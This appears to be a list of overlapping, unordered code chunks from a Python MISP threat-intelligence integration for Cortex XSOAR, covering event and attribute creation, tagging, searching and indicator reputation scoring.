related_events list Args: object_data_dict (dict): Event or\",\n \"def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)]\",\n \"args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0 if 'from' in\",\n \"else 0 if 'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format:\",\n \"return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def remove_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\"\",\n \"not valid\\\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\\\"Error: The\",\n \"complex operators the original input will be returned Returns: str: dictionary created for\",\n \"'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID',\",\n \"template name as described in https://github.com/MISP/misp-objects args: arguments to create the generic object\",\n \"input \\\"\\\"\\\" regex_and = r'(AND:)([^\\\\;]+)(;)?' regex_or = r'(OR:)([^\\\\;]+)(;)?' regex_not = r'(NOT:)([^\\\\;]+)(;)?' misp_query_params =\",\n \"of a SSLCertVerificationError, ' 'Please try to use the Trust any certificate option.')\",\n \"limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to\",\n \"args dict into a list, please see GenericObjectGenerator Class in Pymisp. Args: args:\",\n \"] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args)\",\n \"event or attribute. is_attribute (bool): if the given UUID belongs to an attribute\",\n \"for more information and examples please see UT: test_extract_error. Args: error: list of\",\n \"'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'), 'Timestamp': attribute.get('Timestamp'), 'Event Info': event.get('Info'), 'Event Organization\",\n \"to 0 or not exists) it says that it is an attribute's tag.\",\n \"the outputs will be a list of attributes along with their events objects.\",\n \"suspicious_tag_ids, reliability, attributes_limit): \\\"\\\"\\\" This function searches for the given attribute value in\",\n \"return formatted_attributes def build_galaxy_output(given_object): \\\"\\\"\\\"given_object is attribute or event, depends on the called\",\n \"else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else\",\n \"= replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag, found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids =\",\n \"get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes,\",\n \"== 'FILE': # hashFormat will be used only in output hash_format = get_hash_type(value)\",\n \"'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting',\",\n \"has been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response),\",\n \"the event {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args:\",\n \"'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj =\",\n \"score. attributes_limit (int) : Limits the number of attributes that will be written\",\n \"== 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args))\",\n \"re.search(regex_or, demisto_query, re.MULTILINE) match_not = re.search(regex_not, demisto_query, re.MULTILINE) is_complex_and_operator = is_misp_complex_search_helper(match_and, misp_query_params, 'and_parameters')\",\n \"attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\\\"## MISP add attribute\\\\nNew attribute:\",\n \"sighting_args = { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting()\",\n \"urllib3.disable_warnings() # Disable python warnings warnings.warn = warn ''' GLOBALS/PARAMS ''' params =\",\n \"is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious:\",\n \"event def create_event_command(demisto_args: dict): \\\"\\\"\\\"Creating event in MISP with the given attribute args\\\"\\\"\\\"\",\n \"Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \\\"\\\"\\\" As tag list can be\",\n \"# no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None return Common.DBotScore.NONE, None\",\n \"set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id not\",\n \"can be called as an independence command or as part of another command\",\n \"'name': star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ] def\",\n \"valid\\\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \\\"\\\"\\\" This function searches for\",\n \"'Object', 'object_id': 'ObjectID', 'object_relation': 'ObjectRelation', 'template_version': 'TemplateVersion', 'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore',\",\n \"The tag that was scored as malicious or suspicious. If no tag was\",\n \"not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets a list ot tag\",\n \"\\\"\\\"\\\" pass # Disable requests warnings urllib3.disable_warnings() # Disable python warnings warnings.warn =\",\n \"same object type that got in \\\"\\\"\\\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for\",\n \"and tag exist.\\\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag}\",\n \"list event = attribute.get('Event') convert_timestamp_to_readable(attribute, event) found_related_events[event.get(\\\"id\\\")] = {\\\"Event Name\\\": event.get(\\\"info\\\"), \\\"Threat Level\",\n \"'last', 'include_decay_score', 'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id',\",\n \"attribute we would like to add it to tag_set_ids. In any other case,\",\n \"in MISP_SEARCH_ARGUMENTS if arg in demisto_args} # Replacing keys and values from Demisto\",\n \"Args: all_attributes (dict): The parsed response from the MISP search attribute request found_tag\",\n \"page size: {limit}\\\\n\\\" if len(response_for_context) == limit: pagination_message += f\\\"Showing page {page} out\",\n \"data (array of attributes). score: the indicator score found_tag: the tag (id) which\",\n \"return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(response), raw_response=response ) def add_sighting(demisto_args: dict): \\\"\\\"\\\"Adds sighting\",\n \"'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \\\"\\\"\\\" Extracting errors raised by\",\n \"0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations') == 'true'\",\n \"# type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name')\",\n \"MISP response (1546713469) and converts it to human readable format \\\"\\\"\\\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ')\",\n \"MISP. please check it once again\\\") new_event = response[0] # response[0] is MISP\",\n \"event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True return False\",\n \") # event's uuid response = PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been\",\n \"'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]: \\\"\\\"\\\" Extracting errors\",\n \"tag list. is_event_level (bool): Whether the attribute_dict was received from an event object,\",\n \"== 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e))\",\n \"warn ''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY\",\n \"True return False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\" Calculates the indicator\",\n \"\\\"\\\"\\\" regex_and = r'(AND:)([^\\\\;]+)(;)?' regex_or = r'(OR:)([^\\\\;]+)(;)?' regex_not = r'(NOT:)([^\\\\;]+)(;)?' misp_query_params = dict()\",\n \"Args: object_data_dict (dict): Event or attribute dict which includes tags list. found_tag (str):\",\n \"in both Malicious tag ids and Suspicious tag ids lists the indicator will\",\n \"for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response\",\n \"converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip'))\",\n \"dict which includes tags list. found_tag (str): The tag that was scored as\",\n \"saved words: 'AND:', 'OR:' and 'NOT:' using ',' as delimiter for parameters and\",\n \"raise DemistoException(f'Error in `{demisto.command()}` command: {response}') except PyMISPError: raise DemistoException(\\\"Removing the required tag\",\n \"DemistoException('Invalid hash length, enter file hash of format MD5, SHA-1 or SHA-256') if\",\n \"from pymisp import ExpandedPyMISP, PyMISPError, MISPObject, MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator\",\n \"malicious. suspicious_tag_ids (set): Tag ids should be recognised as suspicious reliability (DBotScoreReliability): integration\",\n \"Replacing keys from MISP's format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build\",\n \"= [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse\",\n \"created.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int =\",\n \"= sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level =\",\n \"= event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event\",\n \"a positive integer, please change the given: '{tag}' id.\\\") except ValueError: raise DemistoException(f\\\"Tag\",\n \"key in events[i]} events[i]['RelatedEvent'] = [] # there is no need in returning\",\n \"the attribute_dict was received from an event object, meaning the tags are event's\",\n \"for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return\",\n \"into readable response, for more information and examples please see UT: test_extract_error. Args:\",\n \"parameter could not be decoded, may not a valid JSON\\\\nattribute: {attributes}', str(e)) def\",\n \"can be full of in unnecessary data, we want to limit this list\",\n \"was failed. Please make sure the UUID exists.\\\") if is_attribute: response = PYMISP.search(uuid=uuid,\",\n \"return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif\",\n \"'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}] \\\"\\\"\\\" return [{k: v} for k, v in\",\n \"\\\"\\\"\\\" Execute a MISP search using the 'event' controller. \\\"\\\"\\\" args = prepare_args_to_search('events')\",\n \"id.\\\") except ValueError: raise DemistoException(f\\\"Tag id has to be a positive integer, please\",\n \"appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]): object to replace keys in\",\n \"events_to_human_readable, 'Scored Tag ID': found_tag_id, 'Scored Tag Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level):\",\n \"malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \\\"\\\"\\\"Gets a list ot tag ids (each one is\",\n \"in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [\",\n \"list) -> List[dict]: \\\"\\\"\\\" Extracting errors raised by PYMISP into readable response, for\",\n \"be added to that existing event. \\\"\\\"\\\" attributes_args = { 'id': demisto_args.get('event_id'), #\",\n \"tags and galaxies lists. Eventually, the outputs will be a list of attributes\",\n \"malicious or suspicious. If no tag was found, then the score is Unknown\",\n \"does not contains any of the complex operators the original input will be\",\n \"'description': star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object']\",\n \"attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid\",\n \"test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py Args: demisto_query: complex query\",\n \"= PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']})\",\n \"has been successfully created.\\\\n\\\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def\",\n \"events found in MISP for the given filters: {args}\\\") def delete_event(demisto_args: dict): \\\"\\\"\\\"\",\n \"command, the attrubite will be added to that existing event. \\\"\\\"\\\" attributes_args =\",\n \"'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id',\",\n \"md = tableToMarkdown(f\\\"MISP search-attributes returned {number_of_results} attributes\\\", response_for_context[:number_of_results], [\\\"Value\\\"]) else: response_for_context = build_attributes_search_response(response,\",\n \"lists. Eventually, the outputs will be a list of attributes along with their\",\n \"'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object', 'Galaxy', 'Tag',\",\n \"if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'):\",\n \"dict): \\\"\\\"\\\"Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\" text =\",\n \"which includes tags list. found_tag (str): The tag that was scored as malicious\",\n \"demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id')\",\n \"match_operator.group(2).split(',') is_complex_search = True return is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format =\",\n \"{'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \\\"\\\"\\\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args)\",\n \"dict, is_attribute=False): \\\"\\\"\\\" Function will add tag to given UUID of event or\",\n \"if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has been successfully\",\n \"= { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN, 'IP': DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, }\",\n \"scored as malicious or suspicious. If no tag was found, then the score\",\n \"raise DemistoException( f'None of required arguments presents. command {demisto.command()} requires one of {ip_object_args}')\",\n \"raise DemistoException(f\\\"An error was occurred: {json.dumps(response)}\\\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \\\"\\\"\\\" Test module.\",\n \"required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type:\",\n \"return Common.File(dbot_score=dbot_score, sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type ==\",\n \"= tableToMarkdown( f\\\"MISP search-attributes returned {len(response_for_context)} attributes\\\\n {pagination_message}\\\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response,\",\n \"else: return CommandResults(readable_output=f\\\"No attributes found in MISP for the given filters: {args}\\\") def\",\n \"MISP create event\\\\nNew event with ID: {event_id} has been successfully created.\\\\n\\\" return CommandResults(\",\n \"= 1 if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations']\",\n \"include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute')\",\n \"'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'):\",\n \"in MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\\\"No attributes found in\",\n \"greater event ids are the newer ones. Returns: response (dict): The parsed outputs\",\n \"demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url')\",\n \"tag to given UUID of event or attribute. is_attribute (bool): if the given\",\n \"return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \\\"\\\"\\\" Function will add tag to\",\n \"uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]]\",\n \"MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip \\\"\\\"\\\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain =\",\n \"= true) we would like to add to tag_set_ids all the tags (event\",\n \"'Please try to use the Trust any certificate option.') if \\\"NewConnectionError\\\" in error:\",\n \"if distribution else None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not\",\n \"won't add the tag. Args: attribute_dict (dict): The dictionary that includes the tag\",\n \"pymisp/api.py Args: demisto_query: complex query contains saved words: 'AND:', 'OR:' and 'NOT:' using\",\n \"dictionary describes MISP object Returns: list: list containing dicts that GenericObjectGenerator can take.\",\n \"] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url':\",\n \"\\\"\\\"\\\"Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \\\"\\\"\\\" url_args = [\",\n \"malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids,\",\n \"by the event ids as the greater event ids are the newer ones.\",\n \"dict into a list, please see GenericObjectGenerator Class in Pymisp. Args: args: dictionary\",\n \"str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment\",\n \":= tag) in attribute_tags_ids for tag in malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag\",\n \"1 if demisto_args.get('include_sightings') == 'true' else 0 if 'include_correlations' in args_to_misp_format: args_to_misp_format['include_correlations'] =\",\n \"given UUID of event or attribute. is_attribute (bool): if the given UUID is\",\n \"if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value in obj_to_build.items() }\",\n \"so, the event will be added to related_events list Args: object_data_dict (dict): Event\",\n \"ot tag ids (each one is str), and verify all the tags are\",\n \"break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids) return\",\n \"suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious = any((found_tag := tag) in event_tags_ids\",\n \"on the called function\\\"\\\"\\\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy')\",\n \"reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit))\",\n \"attribute request found_tag (str): The tag that was scored as malicious or suspicious.\",\n \"'completed': 2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities':\",\n \"a list ot tag ids (each one is str), and verify all the\",\n \"reliability score. attributes_limit (int) : Limits the number of attributes that will be\",\n \"(True) or event (False). \\\"\\\"\\\" uuid = demisto_args.get('uuid') tag = demisto_args.get('tag') try: PYMISP.tag(uuid,\",\n \"misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str: \\\"\\\"\\\" Gets a timestamp\",\n \"independence command or as part of another command (create event for example) Args:\",\n \"int(tag) if tag <= 0: raise DemistoException(f\\\"Tag id has to be a positive\",\n \"part of the event scope). If the data is attribute's (is_event_level = false),\",\n \"to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as\",\n \"= demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme\",\n \"bool = False, demisto_args: dict = {}, new_event: MISPEvent = None): \\\"\\\"\\\"Adding attribute\",\n \"else: raise DemistoException( f'None of required arguments presents. command {demisto.command()} requires one of\",\n \"their events objects. Note: When limits the attributes amount, we sort the attributes\",\n \"return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__\",\n \"attributes only if the user wants to get them back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object,\",\n \"proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for index, uri in enumerate(uri_list,\",\n \"== 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object':\",\n \"0) # field doesn't exist when this is an attribute level, default is\",\n \"tags (event ones and the event's attribute tags ones as it is part\",\n \"and values from Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] =\",\n \"GenericObjectGenerator can take. Examples: >>> {'ip': '8.8.8.8', 'domain': 'google.com'} [{'ip': '8.8.8.8'}, {'domain': 'google.com'}]\",\n \"value in MISP and then calculates it's dbot score. The score is calculated\",\n \"elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command\",\n \"suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \\\"\\\"\\\" Calculates the indicator score by following logic. Indicators of attributes\",\n \"found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability,\",\n \"= { 'id': attribute_id, 'uuid': attribute_uuid, 'type': SIGHTING_TYPE_NAME_TO_ID[sighting_type] } sigh_obj = MISPSighting() sigh_obj.from_dict(**sighting_args)\",\n \"MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg = args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg\",\n \"limits the attributes amount, we sort the attributes list by the event ids\",\n \"of attributes). score: the indicator score found_tag: the tag (id) which made the\",\n \"size: {limit}\\\\n\\\" if len(response_for_context) == limit: pagination_message += f\\\"Showing page {page} out others\",\n \"',') command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids,\",\n \"for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []):\",\n \"'template_uuid': 'TemplateUUID', 'meta-category': 'MetaCategory', 'decay_score': 'DecayScore', 'first_seen': 'first_seen', 'last_seen': 'last_seen', 'provider': 'Provider', 'source_format':\",\n \"that match the search query when user set the arg 'compact' to True\\\"\\\"\\\"\",\n \"getting all the attributes which match the required indicator value, this function parses\",\n \"attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if not attributes_list: return None\",\n \"be BAD if the threat level id is in [1,2,3]. Otherwise, the threat\",\n \"= f\\\"## MISP update attribute\\\\nAttribute: {attribute_uuid} was updated.\\\\n\\\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None)\",\n \"ValueError: raise DemistoException(f\\\"Tag id has to be a positive integer, please change the\",\n \"suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability,\",\n \"MISP\\\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag)\",\n \"= params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\\\"MISP\",\n \"events[i]['RelatedEvent'] = [] # there is no need in returning related event when\",\n \"suspicious) are stronger than events' tags. \\\"\\\"\\\" found_tag = None is_attribute_tag_malicious = any((found_tag\",\n \"== 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args))\",\n \"limit_tag_output event_tag_ids.update(tag_ids) if attribute.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(attribute, False) attribute['Tag'] = limit_tag_output attributes_tag_ids.update(tag_ids)\",\n \"== 'true' else 0 if 'enforceWarninglist' in args_to_misp_format: args_to_misp_format['enforceWarninglist'] = 1 if demisto_args.get('enforceWarninglist')\",\n \"from XSOAR' event.date = datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args:\",\n \"= args.get('threat_level_id') if threat_level_id_arg: event.threat_level_id = THREAT_LEVELS_TO_ID[threat_level_id_arg] analysis_arg = args.get('analysis') event.analysis = MISP_ANALYSIS_TO_IDS.get(analysis_arg)\",\n \"'value', 'Event', 'Object', 'Galaxy', 'Tag', 'decay_score', 'Sighting', ] def extract_error(error: list) -> List[dict]:\",\n \"'timestamp': 'LastChanged', 'to_ids': 'ToIDs', 'value': 'Value', 'event_id': 'EventID', 'ShadowAttribute': 'ShadowAttribute', 'disable_correlation': 'DisableCorrelation', 'distribution':\",\n \"= [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to\",\n \"object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \\\"\\\"\\\" url_args = [ 'text', 'last_seen',\",\n \"number_of_results = len(response_for_context) md = tableToMarkdown(f\\\"MISP search-attributes returned {number_of_results} attributes\\\", response_for_context[:number_of_results], [\\\"Value\\\"]) else:\",\n \"removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes, outputs_prefix='MISP.Attribute', outputs_key_field='ID', readable_output=readable_output)\",\n \"== \\\"URL\\\": return Common.URL(url=value, dbot_score=dbot_score) def build_misp_complex_filter(demisto_query: str): \\\"\\\"\\\" Examples are available in\",\n \"-> List[dict]: \\\"\\\"\\\" Converts args dict into a list, please see GenericObjectGenerator Class\",\n \"= demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip\",\n \"converts it to human readable format \\\"\\\"\\\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \\\"\\\"\",\n \"controller. \\\"\\\"\\\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \\\"page\\\", required=True) limit =\",\n \"MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if\",\n \"make sure the API key and the URL are correct\\\" in error: return_error('Unable\",\n \"ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id\",\n \"got in \\\"\\\"\\\" if isinstance(obj_to_build, list): return [replace_keys_from_misp_to_context_data(item) for item in obj_to_build] if\",\n \"demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors' in response: raise DemistoException(f'Event ID: {event_id} has\",\n \"if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if\",\n \"to replace keys in Returns: Union[dict, list, str]: same object type that got\",\n \"Union[dict, requests.Response]) -> dict: \\\"\\\"\\\" Convert the response of event search returned from\",\n \"= tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id)\",\n \"'demisto_query' does not contains any of the complex operators the original input will\",\n \"'50' if 'tags' in args_to_misp_format: args_to_misp_format['tags'] = build_misp_complex_filter(args_to_misp_format['tags']) args_to_misp_format['controller'] = controller demisto.debug(f\\\"[MISP 